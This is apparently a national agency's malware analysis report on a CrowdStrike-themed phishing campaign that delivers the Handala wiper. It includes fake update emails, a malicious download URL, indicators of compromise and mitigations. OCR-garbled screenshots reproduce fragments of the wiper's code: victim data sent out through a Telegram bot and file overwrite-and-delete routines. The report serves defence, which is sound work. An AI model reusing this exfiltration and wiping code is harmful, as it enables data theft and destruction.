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This report has limitations and should be interpreted with caution!
Some of these restrictions include:

First phase:
Sources of information: The report is based on information found at the time of its preparation.
Meanwhile, some aspects may be different from current developments.

Second phase:

Analysis Details: Due to resource limitations, some aspects of the malicious details may not
have been analyzed in depth. Any additional unknown information may reflect changes in the
report.

Third phase:

Information Security: To protect confidential resources and information, some details may be
redacted or not included in the report. This decision was made to maintain the integrity and
security of the data used.

NCSA reserves the right to change or update any part of this report without prior notice.

This report is not a final document (extraction of additional details of malicious actors will be
made available to you at a later time).

The findings of the report are based on the information available at the time of the investigation
and analysis. There are no guarantees regarding possible changes or updates to the
information reported during the following period. The authors of the report assume no
responsibility for the misuse or consequences of any decision-making based on this report.

The report highlights the need for vigilance and proactive measures in the face of
sophisticated cyber threats, highlighting the importance of regular updates and
implementation of recommended security practices to protect critical infrastructure.
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Technical Information

Recently, has been detected a Phishing campaign by malicious actors, exploiting CrowdStrike
issue happened last week. Through Phishing emails, malicious actors send a PDF file named
update3.pdf which contains URLSs that redirect to non-legitimate websites and other malicious
files are automatically downloaded.

CrowdStrike Urgent Update inbox » e B

update@crowdstrike.com.ve T @ «

Dear Valued Customer

y working with customers impacted by a defect found in a single content update for Windows hosts Mac and Linux hosts are not impacted. This was not a cyberattack

The issue has been identified, isolated and a fix has been deployed

We are referring customers to update their Windows servers as soon as possible through through the attached tool to avoid disruptions!

We further recommend organzations ensure they're communicating with CrowdStnke representatives through official channels

Our team is fully mobilized 1o ensure the security and stability of CrowdStrke customers

We understand the gravity of the situation and are deeply sorry for the inconvenience and disruption We are working with all impacted customers to ensure that systems are back up and they can
deliver the services their customers are counting on

Obviously, the consequences of any failure to update the system and disruption will be the ibility of the ization's IT

§ROWDSTRIKE

One attachment + Scanned by Gmail ( &

Figure 1: Content of Phishing e-mail, CrowdStrike Urgent Update

Dear Valued Customer

CrowdStrike is actively working with customers impacted by a defect found in a single content update for Windows hosts. Mac and Linux hosts are not impacted. This was not a
cyberattack.

The issue has been identified, isolated and a fix has been deployed.

We are referring customers to update their Windows servers as soon as possible through through the attached tool to avoid disruptions!
We further recommend organizations ensure they're communicating with CrowdStrike representatives through official channels.

Our team is fully mobilized to ensure the security and stability of CrowdStrike customers.

We understand the gravity of the situation and are deeply sorry for the inconvenience and disruption. We are working with all impacted customers to ensure that systems are back up and
they can deliver the services their customers are counting on.

Obviously, the consequences of any failure to update the system and disruption will be the responsibility of the organization’s IT manager.

&ROWDSTRIKE

I

160.43 KB 1 file attached, 1 embedded image

i CSfooter.png 15.42 KB updatel.pdf 145.01KB

Figure 2: Another example of Phishing e-mail with attached files

The above email was sent from a non-legitimate address: update[@]cowdstrike[.]Jcom[.]vp,
and the IP used by the malicious actors is 66[.]29[.]159[.]80(NameCheap- Net) in which the
JellyFish System infrastructure is used, where malicious actors attempt to impersonate
legitimate CrowdStrike Domains.
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(2) STORJ

Download The Updater

CrowdStrike is actively working with customers impacted by a defect found in a single content
update for Windows hosts. Mac and Linux hosts are not impacted. This was not a cyberattac

The issue has been identified, isolated and a fix has been deployed.

We are referring customers to update their Windows servers as soon as possible thrgdgh
through lho avoid disruptions!

We further recommend organizations ensure they’re communicating with CrowdStrike
representatives through official channels.

Our team is fully mobilized to ensure the security and stability of CrowdStrike customers.

We understand the gravity of the situation and are deeply sorry for the inconvenience and

Figure 3: Contents of update3.pdf file

In the content of the update3.pdf file, there are 2 clickable texts with URL content where the
addressing is the same and directs you to the non-legitimate URL from where the update.zip
file is automatically downloaded:

hxxps://link][.]storjshare][.]io/s/jvktcsfSypoak5aucs6fnénoqgga/crowdstrikesupport/upda
te.zip?download=1.

" N Untitled x s

C i l https:/link.storjshare.iofsfvk tcstSypoakSaucséfnénoqgga/crowdstnkesupport/update zip?download-= | m 4y g - a

0 \ Downloads BQ - P
updatezip
u Open file

o

Figure 4: Update.zip file downloaded from URL access

The update.zip file contains the CrowdStrike.exe malicious file archived.
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3' ] Untitled x I+
18 ez | = g x2S

File Command: Tools Favorites Options Help B Q - £

Add  BdtractTo  Test View  Delete Find  Wizard Info VirusScan Comment  SFX

T ‘. updatezip\update - ZIP archive, unpacked size 6,338,272 bytes v
Name H Size Packed Type Modified CRCR2
File folder
| ™S9 Selected 1file, 6,338,272 bytes Total 1 file, 6,338,272 bytes

Figure 5: Contents of the update.zip file

Q@ Untitled x +

Cc @ linkstorjshareio/s/jvkicstSypoakSaucsbfnbnoggga/crowdstrikesupport/update.zip?download = 1 =@ »

waming

A freyou sute sbout e start of the crowdstrike updste?

Figure 6: Notification of starting update by running CrowdStrike.exe file
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Q@ Untitled % + -
C @ linkstorjshare.io/s/jvktcsfSypoakSaucstfnénoqgaa/crowdstrikesupport/updatezip?downioad [ + 4 » .i, o a
warning X
' The updste has been applied and will start soon
h oK |

Figure 7: Notification of update completion

Crowdstrike.exe file analysis

The crowdstrike.exe file can change the extension from .exe to .7z and we can see that a new
directory called $TEMP appears that contains several files of the FILE type and if we try to
open them with Notepad++ we can see that most of them have contents which cannot be
understood. The only exception is the Carroll file which contains a script bat file. The file is
obfuscated and therefore to understand its purpose we modify the file by setting echo to display
as much information as possible on the commands being executed.

« 4491901eff338ab52c85a77a3fbd3ce80fdar738046ee3b7da7bedb8dasb331a3 > STEMP v O ) Search §]

Name B Date modified Type Size

N | | Acrobat 7/25/2024 8:50 AM File 50 KB

; 1 Ah 7/25/2024 8:50 AM File 59 KB

[ Architects 7/25/2024 8:50 AM File 15KB

’ Buve 7/25/2024 8:50 AM File 42 KB

of 72 ’ 11 KB
| | Consequences 7/25/2024 850 AM File 17 KB
| | Deeper 2024 8:50 AM File 21 KB
| | Democracy 7/25/2024 8:50 AM File 17 KB
| | Develops 7/25/2024 8:50 AM File 22 KB

Figure 8: Carroll file
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@echo on

Set Walker=z
echo Walker=XWalkerX

VhQTPunch Representations Silver Prayers Sim Leslie Browser Laptops Surrounding

eJuODoom Sans En Halo England Buys Chargers Yemen
eEmCt Wine Gonna Warned Hay Sold

lzuArch Pocket Kenny Helmet Gov Plain Childhood Belarus
olWarner Hired

pause

Set Mirrors=wW

echo Mirrors=XMirrorsi

NiHAdults Legacy Drives

CrgfPressing Therapeutic

baGReflect Northeast Yesterday Territories Know Equipment
mScSporting Worcester Bend Illustrated Cutting
Gwological Star

TOeSources Itunes Logged Aurora Urban

QiRequires Rehab

rOwuHuge Excluded Annie Developmental Plane

QdHoney Corporations Revenge Guarantees Accomplished

h¥IxJoel Through Samuel Distribute Effort Available Reject Tc Explore

pause

Figure 9: Adding echo commands to the script

63

/b 564784\Champion.pif + Lasting + Mo r + Honda + Guest + Recipes + Number + Gov + Deeper + Relative +

+ Halo + Buyers + Often + Hub 84\Champion.pif

Figure 10: Output from the script

From the performed execution, it is evident that they are taken as parameters by copying with
the copy command all strings of characters from all files and the final file named: champion.pif
is created.

At this stage, it is not yet known what this file is for, but during the search it was found that a
file named "L is created, which from the following command shows that when the Start
command is given to the champion.pif file, the file "L is passed as a parameter ".

/I 564784 \Champion.pif 564784\L

Figure 11: Starting the Champion process with the L parameter

A very important indicator that was identified during the debugging analysis is the renaming
of the file from which the extension .a3x is placed, which tells us that we are dealing with a
script that is created using Autolt, a program designed to automate the GUI of Windows and
Scripts in general. If we rename the champion.pif file to champion.exe, it is evident that the
file icon automatically changes to the Auto icon (legitimate software).

From here it is understood that the "'L"* file is the Payload, that is, the malicious file. The next
step is manual execution. When run with Run as Administrator Champion.exe, we are
presented with the option to select a file, and precisely we put the file *"L"* to see its behavior
(Figure 11).
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Run Script:

Documents »

+ [E > ThispC »

Organize *  New folder
B videos A Neme -
[ This PC Fax
J 3D Objects I5Express
B Deskiop o My Music
- = My Pictures
< Documents
My Videos
& Dovnloads My Web Sites
& Music Scanned Documents
= Pictures Visual Studio 2019
B Videos Visual Studio 2022

. Local Disk (C) WindowsPowerShell

- MNew Volume (E:)

EEE VIS v

Date modified

o Search Documents

Type Size

File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder

File folder

File neme: [|

| [Autolt script files (203, a3

Open Cancel

&= Pictures

B Video.

During the execution phase, the content that we mentioned in the initial steps of the
CrowdStrike update simulation analysis appears. But if we open the newly created processes,
what will be evidenced is the legitimate Microsoft ReagAsm.exe process, which gives the idea
that in this process Process Injection is performed, malicious shellcode injected into the
memory of this process. Since this process is written in ASP.NET, we can use tools to Dump
the memory or analyze it in Runtime by doing it as an attach and set a breakpoint while it is
being executed. What is evident is a suspicious process, which is running in parallel with the
legitimate Windows process. The project is named with the SecureDeleteFilesConsole
Namespace. If we analyze the Main() function of the project, what we find is the loading of

two files specifically:

Figure 12: Autoit.exe

ListOpenedfileDrv_32.sys and OpenFileFinder.dll.

Next, two MessageBoxes are presented where PopUps are displayed at the beginning
confirming the update of CrowdStrike and if not the display of the message that the update was

not applied.

ss Program

id Main(stri

.AssemblyLoad("L
.AssemblyLoad( "0,

[1 args)

1 flag = args.Length != @ && arg

1 flag3 = flag;
f (flag3)

Box. Show("Th
service =
service.Run();

MessageBox.Show("The upda

nfirmDeleteFiles";

applied and will start soon! ",

tons.YesNo,

"warning", Mes

Figure 13: Main Function

hampion.pif

xIcon.Exclamation, M

xButtons.OK, Messa
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The logic is realized through Boolean variables, where the check is made if it will be entered
in the Run() function and belongs to the Service class. What is evident is that several string
variables are obtained from which each variable stores the value:

6 references

GetIP(

textl;

WebClient webClient = WebClient();
text = webClient.DownloadString(" ").Replace("\\r\\n", "").Replace("\\n", "")
.Trim();
date = DateTime.Parse(webClient.ResponseHeaders["Date"]).ToString(" d HH:mm:ss");

text2 = text;
}
catch (Exception ex)
{
date =
text2 =
}
return text2;
}

Figure 14: Getlp() Function

IP: which is obtained by the GetlIP() function

Machine Name: which is obtained from the Environment class with the MachineName
variable

Domain: which is obtained from the Environment class with the UserDomainName variable
User: Which takes the value of the user logged in to the compromised computer

Disk by GB which takes the value and concatenates it with the Windows Drive string.

Then the Drivelnfo class of the framework itself is used which has the function GetDrives()
and stores it in a vector and with a for loop, starts the process of incrementing the length of this
vector. So at this stage we are in the stage of receiving information on the data of this host.
And what is evidenced is the use of a function called SendTelegramMessage and receives 3
parameters:

The first parameter is the telegram channel key, the chat id and the message to be sent.

text +=
text = text +
text = text
text = text
text = text 1 ) .filesRootDriveWindows.Count.ToString("
text += "——
text = text ) I+ .filesOtherDrives.Count.ToString("ne") + "\r\n";
text += " —\r\n";
text = text + "Time :" + text? + "\r\n":
text3 = .SendTelegramMessage("72 AF99NwWSTrAT1BHNMmwY _tQNYJFU3dYJSRHC"
while (DateTime.Now < .start.AddMinutes(1.8))

Thread.Sleep(1000);

.filesOtherDrives.Count > 8)

textd = .filesOtherDrives[e];
flagd = DateTime.Now > .LastDelete.AddMinutes(30.8);
if (flagu)

Thread( ParameterizedThreadStart( .OverwriteFileBlockAndDelete));
thread. Start(textd)
.filesOtherDrives.RemoveAt(0);
.CurrentThreadCount++:

Figure 15: Sending information about the host
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The SendTelegramMessage function uses the Webclient class and in a Try Catch block, the
SSL3, TLS1.1 certificate parameters are passed and a url: hxxps://api.telegram.bot is
identified and joined with the parameter string /sendMessage?chat_id=? where the chat key
parameter is passed and the received data is sent.

SendTelegramMessage( BotKey, chat_id, message)|

WebClient webClient = WebClient();

589Chain <p2>, SslPolicyErrors <p3=) =>

35

.SecurityProtocol ri ycolTy Securit otocolType.Tlsl2;

wnloadString( " ", BotKey, "/sendMes at_id=", chat_id, "&tex
}

xception ex)
{
text = "EX:" + ex.Message;

}
=

eturn text;

3
Figure 16: SendTelegramMessage Function

This function is used continuously in this function, this is done in order for malicious actors to
be constantly updated. We have a function named DeleteDirectorys() and this function does
the part of deleting directories in the list of saved directories. The list of directories is obtained
from the ProcessDirectory function and takes drive.Name as a parameter. At this moment
files are deleted with the Delete() function of the Directory class. After finishes erasing, sends
the data back by telegram. In a while loop which controls the length of the filesOtherDrives
vector, we no longer have a deletion process, but at this stage the file overwriting process starts.
A thread is started and passed as a parameter to the This.OverwriteFileBlockAndDelete()
function. In this function, the use of the dll OpenFileFinder.dll and a string named ""Gaza
Hackers Team Handala Machine' is evidenced. This is done as a check provided that if the
name of the computer is not with this value, the execution of the OverwriteFileBlock()
function will start.

SecureDeleteFilesConsole

OpenFileFinder

OpenFileFinder.dll")]

GetOpenedFiles([H u e. lpPath, .OpenFileType Filter,

OpenFileType

FILES_ONLY = 1,

MODULES_ONLY,

ALL_TYPES

Figure 17: Importing OpenFileFinder.dl
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FileOperations

OverwriteFileBlockSizeup96(

num = em;
FileInfo(path).Length;
fileStream = FileS (path, FileMode.Open);
mWriter streamWriter = 5 amWriter(fileStream);
[1 array = [ue96];
Random() .NextBytes(array);
num2 = Math.Floor(num / array.Length);
num3 = @m;
numd = @;
hile (numd <= num2)

flag = numd == num2;
if (flag)
i
num5 = num - 4896m * num3;
array = [C Jnums];
streamWriter.BaseStream.Write(array, ©, array.Length);

streamWriter.BaseStream.Write(array, @, array.Length);
num3 += 1m;

3

numi++;
}
streamiiriter.Close();
return -

Figure 18: OverwriteFileBlocksize4096 Function

In this function a vector of 4096 bytes is created and filled with random value.

Using the Filelnfo class the file is opened and the StreamWriter class is used to write values
to the open file, which is evidenced in the code line

streamWriter.BaseStream.Write().

Here the values of the file are overwritten with a random value in order to destroy its contents.
If we take a step back to the main function, in addition to encryption, we also check if a file
exists, then delete it. This process continues until the compromised computer no longer
functions properly. So we have two main processes, one is to delete the files and the other is to
encrypt them, but what is more important is to continuously inform the malicious actors
through Telegram.
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id OverwriteFileBlockAndDelete(

] text = obj.ToString();

flag = text == P ess.GetCurrentProcess().MainModule.FileName || text == Envi. nt.
P (4) Handala's attack on Israeli organizations
if (!flag)
Yesterday. after the problem occurred in CrowdStrike, Handala
1 flag2 = Environment.MachineName == "Gaz kers Team Handala Machine"; started a targeted using his dedicated wiper and
if (!flag2) FUD against thousands of Zionist organizations! So far, dozens of
{ Zionist organizations have lost more than several terabytes of their
< 3 faonx : data, and INCD is still unaware of a significant part of the story!
flag3 = FileOperations.OverwriteFileBlockSizede96(text); " L
flagy = File.Exists(text);
if (flagd) These idiots should think about educating their idiots instead of
{ thinking about setting up a cyber domet

e If INCD does not publish the lst of affected organizations, Handala
{ will do it
File.Delete(text);
.LastDelete = DateTime.Now; The campaign is still working and its effect will increase with the start
of the working day! Keep waiting for us!

n ex)
flag5 = ex.Message.Contains("

if (flags)
{

OpenFileFinder.GetOpenedFiles(text, OpenFileFinder.OpenFi

e

e

Figure 19: Telegram group registration
Indicators of compromise

e HASH

Update3.pdf
19001dd441e50233d7f0addb4fcd405a70ac3d5e310ff20b331d6f1a29c634f0

Update.zip
96dec6e07229201a02f538310815c695cf6147c548ff1c6a0def2fe38f3dchc8

Crowdstrike.exe
4491901eff338ab52c85a77a3fbd3ce80fda738046ee3b7da7be468da5b331a3

Carroll
1falf7f0089f89e07406412c257ae546bh9728f7055f804e800e6c41a682c882

“L”
6f3428555b02970c6f0e0cd40e5d7296bd5cd6326a8cc197calaa9025091318b
e Domain
hxxp[://licanhazip[.]Jcom
e |P
66[.]29[.]159][.]80

e Email
update[@]cowdstrike[.Jcom][.]Jvp
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MITRE ATT&CK techniques

R Privil c d and
esource Initial Access Execution Persistence 22D Def jon  Credential Access  Discovery Lateral Movement  Collection ~ _orrare o Exfiltration Impact
Development Escalation Control
Gather Victim Acquire a [ 1] [2]1] Remote Services [ [1]
Identity Information  Infrastructure Spearphishing Link ¥ DLL Side-Loading  DLL Side-Loading  Disable or Modily  Input Capture File and Direclory Archive Collected  Ingress Tool Sysiem
Tools Discovery Data Transfer Shutdown/Reboot
Credentials Domains Defaut Accounts a [ 1] LSASS Memory [1] 5] Remote Deskiop [1]1] Exfiltration Over Network Denial of
Native API Windows Service  Windows Service  Deobfuscate/Decod System Information  Protac Input Capture Encrypted Channel  Bluetooth Service
e Discovery
Email Addresses DN Server Domain Accounts () (1] Security Account [1]1] SME/Windows (1] Automated Data Encrypted for
Exploitation for Browser Extensions  Process Injection r | Manager Security Software  Admin Shares Clipboard Data Non-Appiication Exfilration mpact
Dis Layer Protocol
Employee Names  Virtual Private Local Accounts Cron Login Hook Login Hook NTDS Distributed Input Capture 3] Traffic Duplication  Data Destruction
eeeeee Process Discovery  Component Object Appiic jer
Model Protoco
Server Cloud Accounts Launchd Network Logon Network Logon (1] LSA Secrets SSH Keylogging Fallback Channels  Scheduled Transfer  Data Encrypted for
Script Scrip DLL Side-Loading mpact
Domain Properiies  Botnet Replication Through  Scheduled Task RC Scripts RC Seripts Cached Domain Wi-Fi Discovery VNC GUI Input Capiure  Multicand Dala Transfer Size ~ Service Stop
Removable Media Credentils ~ Communi cation
DNS Web Services External Remote  Systemd Timers Startup ltems Startup ltems DCSyne Remote System Windows Remote  Web Portal Capture  Commonly Used  Exfiliration Over C2  Inhibit System
Senvices Discovery Management Port Channel Recovery
Network Trust Serveriess Drive-by Container Proc Filesysiem System Quner/User  Cloud Services Credential API Application Layer  Exfilration Over Defacement
Dependencies Compromise Orchestration Job Discovery Hooking Protoco Aliemative Protocol
R dations

NCSA recommends:
* Immediate blocking Indicators of Compromise in your security devices.

* Continuous analysis of logs coming from SIEM (Security information and Event
Management).

* Training of non-technical staff about "Phishing" attacks and ways to avoid being infected
by them.

* |Installation of network perimeter devices that perform deep traffic analysis based not only
on access list rules but also on its behavior (NextGen Firewalls).

e Segmentation into different VLANSs of the networks, applying "Access control list for the
entire perimeter of the network", webservices should be separated from their Database,
Active Directory should be in a separate VLAN.

* Applicate and use of the LAPS technique for Microsoft systems, for managing passwords
of Local Administrators.

* Apply traffic filters in the case of remote access to hosts (employees/third
parties/customers).

* Implement solutions that filter, monitor and block malicious traffic between Web
applications and the Internet, Web Application Firewall (WAF).

* Conduct traffic analysis at the "behaviour" level for end devices, application of EDR, XDR
solutions. This brings the analysis of malicious files not only at the signature level but also
at the behavior level.

* To design the "Identity Access Management" user access management solution to control
the identity and privileges of users in real time according to the "zero-trust™ principle.
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